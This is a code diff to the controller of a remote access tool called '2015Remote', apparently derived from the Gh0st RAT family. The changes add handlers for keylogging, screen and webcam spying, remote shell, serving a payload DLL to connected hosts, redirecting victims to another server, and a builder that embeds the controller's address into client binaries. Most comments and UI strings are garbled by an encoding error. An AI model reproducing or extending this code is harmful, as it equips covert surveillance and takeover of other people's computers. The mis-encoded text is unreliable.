// <20><><EFBFBD>±<EFBFBD><C2B1><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>14<31><34><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>"<22><><EFBFBD>к<EFBFBD>"<22><>
|
||||
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><DFBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>if<69><66><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD>Ӧ<EFBFBD>ط<EFBFBD><D8B7><EFBFBD><EFBFBD>ɡ<EFBFBD>
|
||||
// <20><><EFBFBD>кŰ<D0BA><C5B0><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ڷ<EFBFBD>Χ<EFBFBD><CEA7>ȷ<EFBFBD><C8B7>һ<EFBFBD><D2BB>һ<EFBFBD>룻<EFBFBD><EBA3BB>Ȩ<EFBFBD><EFBFBD><DFBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD>۸<EFBFBD>!
|
||||
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> if <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>θ<EFBFBD><CEB8><EFBFBD>Ȩ<EFBFBD><EFBFBD>.
|
||||
// 2025/04/20
|
||||
if (!CheckValid())
|
||||
return;
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CBuildDlg Dlg;
|
||||
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
|
||||
CString Port;
|
||||
Port.Format("%d", ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"));
|
||||
Dlg.m_strPort = Port;
|
||||
int Port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
|
||||
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
|
||||
Dlg.DoModal();
|
||||
}
|
||||
|
||||
@@ -900,6 +1057,21 @@ void CMy2015RemoteDlg::OnMainSet()
|
||||
{
|
||||
m_iocpServer->UpdateMaxConnection(Dlg.m_nMax_Connect);
|
||||
}
|
||||
int m = atoi(((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ReportInterval", "5"));
|
||||
int n = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "SoftwareDetect");
|
||||
if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) {
|
||||
return;
|
||||
}
|
||||
|
||||
LVCOLUMN lvColumn;
|
||||
memset(&lvColumn, 0, sizeof(LVCOLUMN));
|
||||
lvColumn.mask = LVCF_TEXT;
|
||||
lvColumn.pszText = Dlg.m_sSoftwareDetect.GetBuffer();
|
||||
CLock L(m_cs);
|
||||
m_settings.ReportInterval = m;
|
||||
m_settings.DetectSoftware = n;
|
||||
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
||||
SendMasterSettings(nullptr);
|
||||
}
|
||||
|
||||
|
||||
@@ -925,7 +1097,7 @@ BOOL CMy2015RemoteDlg::ListenPort()
|
||||
|
||||
BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||
{
|
||||
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
assert(m_iocpServer);
|
||||
UINT ret = 0;
|
||||
if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
|
||||
{
|
||||
@@ -933,8 +1105,6 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||
char code[32];
|
||||
sprintf_s(code, "%d", ret);
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
|
||||
delete m_iocpServer;
|
||||
m_iocpServer = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -947,7 +1117,10 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
|
||||
|
||||
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
AUTO_TICK(20);
|
||||
if (!g_2015RemoteDlg)
|
||||
return;
|
||||
|
||||
AUTO_TICK(50);
|
||||
|
||||
switch (ContextObject->v1)
|
||||
{
|
||||
@@ -1005,8 +1178,20 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
|
||||
Dlg->OnReceiveComplete();
|
||||
break;
|
||||
}
|
||||
default:
|
||||
g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject);
|
||||
default: {
|
||||
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (hEvent == NULL) {
|
||||
Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
|
||||
return;
|
||||
}
|
||||
if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
|
||||
Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
|
||||
CloseHandle(hEvent);
|
||||
return;
|
||||
}
|
||||
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
|
||||
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1020,6 +1205,8 @@ struct dlgInfo
|
||||
|
||||
VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
if (!g_2015RemoteDlg)
|
||||
return;
|
||||
dlgInfo* dlg = ContextObject->v1 > 0 ? new dlgInfo(ContextObject->hDlg, ContextObject->v1) : NULL;
|
||||
|
||||
SOCKET nSocket = ContextObject->sClientSocket;
|
||||
@@ -1031,17 +1218,40 @@ VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject)
|
||||
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam) {
|
||||
HANDLE hEvent = (HANDLE)wParam;
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
MessageHandle(ContextObject);
|
||||
if (hEvent) {
|
||||
SetEvent(hEvent);
|
||||
CloseHandle(hEvent);
|
||||
}
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
{
|
||||
if (isClosed) {
|
||||
return;
|
||||
}
|
||||
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||
{
|
||||
case COMMAND_BYE:
|
||||
case TOKEN_HEARTBEAT: case 137:
|
||||
UpdateActiveWindow(ContextObject);
|
||||
break;
|
||||
case SOCKET_DLLLOADER: {// <20><><EFBFBD><EFBFBD>DLL
|
||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||||
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
|
||||
int connNum = 0;
|
||||
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
|
||||
char version[12] = {};
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||
SendServerDll(ContextObject, is64Bit);
|
||||
break;
|
||||
}
|
||||
case COMMAND_BYE: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
CancelIo((HANDLE)ContextObject->sClientSocket);
|
||||
closesocket(ContextObject->sClientSocket);
|
||||
@@ -1049,58 +1259,58 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
break;
|
||||
}
|
||||
case TOKEN_KEYBOARD_START: {// <20><><EFBFBD>̼<EFBFBD>¼
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_LOGIN: // <20><><EFBFBD>߰<EFBFBD> shine
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_BITMAPINFO:
|
||||
case TOKEN_BITMAPINFO: // Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_DRIVE_LIST:
|
||||
case TOKEN_DRIVE_LIST: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_TALK_START:
|
||||
case TOKEN_TALK_START: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_SHELL_START:
|
||||
case TOKEN_SHELL_START: // Զ<><D4B6><EFBFBD>ն<EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_WSLIST: //wndlist
|
||||
case TOKEN_PSLIST: //processlist
|
||||
case TOKEN_WSLIST: // <20><><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||
case TOKEN_PSLIST: // <20><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_AUDIO_START:
|
||||
case TOKEN_AUDIO_START: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_REGEDIT:
|
||||
case TOKEN_REGEDIT: // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_SERVERLIST:
|
||||
case TOKEN_SERVERLIST: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_WEBCAM_BITMAPINFO:
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
{
|
||||
g_2015RemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -1116,7 +1326,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
return -1;
|
||||
}
|
||||
|
||||
CString strToolTipsText;
|
||||
try
|
||||
{
|
||||
|
||||
@@ -1151,7 +1360,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
//<2F><><EFBFBD><EFBFBD>
|
||||
strPing.Format("%d", LoginInfor->dwSpeed);
|
||||
|
||||
strVideo = LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
|
||||
strVideo = m_settings.DetectSoftware ? "<EFBFBD><EFBFBD>" : LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
|
||||
|
||||
strAddr.Format("%d", nSocket);
|
||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,
|
||||
@@ -1259,6 +1468,62 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
|
||||
Heartbeat hb;
|
||||
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
|
||||
|
||||
// <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
HeartbeatACK ack = { hb.Time };
|
||||
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
||||
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
|
||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
||||
}
|
||||
|
||||
CLock L(m_cs);
|
||||
int n = m_CList_Online.GetItemCount();
|
||||
DWORD_PTR cur = (DWORD_PTR)ctx;
|
||||
for (int i = 0; i < n; ++i) {
|
||||
DWORD_PTR id = m_CList_Online.GetItemData(i);
|
||||
if (id == cur) {
|
||||
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
||||
if (hb.Ping > 0)
|
||||
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
|
||||
if (m_settings.DetectSoftware)
|
||||
m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
||||
BYTE buf[sizeof(MasterSettings) + 1] = { CMD_MASTERSETTING };
|
||||
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
|
||||
|
||||
if (ctx) {
|
||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
||||
}
|
||||
else {
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
||||
m_iocpServer->Send(ContextObject, buf, sizeof(buf));
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
}
|
||||
|
||||
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit) {
|
||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||
auto buf = m_ServerDLL[id];
|
||||
if (buf->length()) {
|
||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT *ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
@@ -1451,3 +1716,36 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
||||
|
||||
return CDialogEx::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineShare()
|
||||
{
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><IP:PORT><3E><>ַ:");
|
||||
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
|
||||
return;
|
||||
if (dlg.m_str.GetLength() >= 250) {
|
||||
MessageBox("<EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȳ<EFBFBD><EFBFBD><EFBFBD>[0, 250]<5D><>Χ<EFBFBD><CEA7><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
if (IDYES != MessageBox(_T("ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\nĿǰֻ<EFBFBD>ܷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"), _T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
|
||||
return;
|
||||
|
||||
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
|
||||
// Ŀ<><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bToken[1] = SHARE_TYPE_YAMA;
|
||||
memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength());
|
||||
SendSelectedCommand(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnToolAuth()
|
||||
{
|
||||
CPwdGenDlg dlg;
|
||||
std::string hardwareID = getHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
dlg.m_sDeviceID = deviceID.c_str();
|
||||
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
@@ -13,12 +13,19 @@
|
||||
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
#define CLIENT_EXIT_WITH_SERVER 0
|
||||
|
||||
enum
|
||||
{
|
||||
PAYLOAD_DLL_X86 = 0, // 32λ DLL
|
||||
PAYLOAD_DLL_X64 = 1, // 64λ DLL
|
||||
PAYLOAD_MAXTYPE
|
||||
};
|
||||
|
||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
class CMy2015RemoteDlg : public CDialogEx
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
public:
|
||||
CMy2015RemoteDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
~CMy2015RemoteDlg();
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||
@@ -50,7 +57,11 @@ public:
|
||||
VOID CreateSolidMenu();
|
||||
BOOL ListenPort();
|
||||
BOOL Activate(int nPort,int nMaxConnection);
|
||||
|
||||
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
|
||||
void SendMasterSettings(CONTEXT_OBJECT* ctx);
|
||||
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool is64Bit);
|
||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||
MasterSettings m_settings;
|
||||
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||
@@ -63,11 +74,13 @@ public:
|
||||
CTrueColorToolBar m_ToolBar;
|
||||
|
||||
NOTIFYICONDATA m_Nid;
|
||||
|
||||
HANDLE m_hExit;
|
||||
IOCPServer* m_iocpServer;
|
||||
CRITICAL_SECTION m_cs;
|
||||
BOOL isClosed;
|
||||
|
||||
CBitmap m_bmOnline[3];
|
||||
CBitmap m_bmOnline[4];
|
||||
bool CheckValid();
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
void Release();
|
||||
@@ -108,4 +121,6 @@ public:
|
||||
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnOnlineShare();
|
||||
afx_msg void OnToolAuth();
|
||||
};
|
||||
|
||||
@@ -207,6 +207,8 @@
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
@@ -238,6 +240,7 @@
|
||||
<ClInclude Include="AudioDlg.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CPasswordDlg.h" />
|
||||
<ClInclude Include="CpuUseage.h" />
|
||||
<ClInclude Include="EditDialog.h" />
|
||||
<ClInclude Include="FileManagerDlg.h" />
|
||||
@@ -246,6 +249,7 @@
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="IOCPServer.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="pwd_gen.h" />
|
||||
<ClInclude Include="RegisterDlg.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
@@ -268,6 +272,7 @@
|
||||
<ClCompile Include="AudioDlg.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="BuildDlg.cpp" />
|
||||
<ClCompile Include="CPasswordDlg.cpp" />
|
||||
<ClCompile Include="CpuUseage.cpp" />
|
||||
<ClCompile Include="EditDialog.cpp" />
|
||||
<ClCompile Include="FileManagerDlg.cpp" />
|
||||
@@ -276,6 +281,7 @@
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="pwd_gen.cpp" />
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
@@ -299,9 +305,12 @@
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\Bitmap\Share.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\delete.bmp" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\password.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\update.bmp" />
|
||||
|
||||
@@ -7,6 +7,8 @@
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
|
||||
#define OTHER_ITEM 3
|
||||
|
||||
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
@@ -32,11 +34,13 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||||
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -54,7 +58,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
BYTE * szBuffer=NULL;
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
int index = m_ComboExe.GetCurSel();
|
||||
int index = m_ComboExe.GetCurSel(), typ=index;
|
||||
CString file;
|
||||
switch (index)
|
||||
{
|
||||
@@ -67,17 +71,19 @@ void CBuildDlg::OnBnClickedOk()
|
||||
case CLIENT_TYPE_MODULE:
|
||||
file = "ServerDll.dll";
|
||||
break;
|
||||
case OTHER_ITEM:
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
typ = -1;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
if (file.IsEmpty())
|
||||
if (file.IsEmpty() || file == "δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>")
|
||||
{
|
||||
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
unsigned long flag = index == 0 ? FLAG_FINDEN : FLAG_GHOST;
|
||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||
CONNECT_ADDRESS g_ConnectAddress = { flag, "", 0, index };
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 0, typ};
|
||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||
|
||||
if (!g_ConnectAddress.IsValid())
|
